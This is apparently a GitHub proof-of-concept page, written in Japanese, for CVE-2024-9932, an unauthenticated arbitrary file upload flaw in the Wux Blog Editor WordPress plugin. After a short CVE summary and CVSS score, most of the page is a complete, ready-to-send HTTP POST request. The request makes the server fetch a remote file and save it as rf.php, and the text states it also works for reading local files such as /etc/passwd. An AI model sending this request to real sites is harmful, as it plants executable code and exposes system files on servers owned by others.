randomrobbiebf/cve-2024-9932Wux Blog Editor 3.0.0 以下 - 認証なし任意ファイルアップロード
Wux Blog Editor <= 3.0.0 - 認証不要の任意ファイルアップロード
WordPress用プラグイン Wux Blog Editor は、バージョン3.0.0までを含むバージョンにおいて、'wuxbt_insertImageNew' 関数でのファイルタイプの検証が不十分なため、任意のファイルアップロードの脆弱性があります。これにより、認証されていない攻撃者が影響を受けるサイトのサーバー上に任意のファイルをアップロードでき、リモートコード実行を可能にする可能性が
Link: CVE-2024-9932
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://kubernetes.docker.internal
Connection: keep-alive
{
"url": "https://rfi.nessus.org/rfi.txt",
"imageName": "rf.php",
"image_alt": "Description of the image",
"image_title": "Title of the image"
}
ファイルは /wp-content/uploads/2024/11/rf.php に保存されました。
また、/etc/passwd のようなファイルの場所を指定することもできます。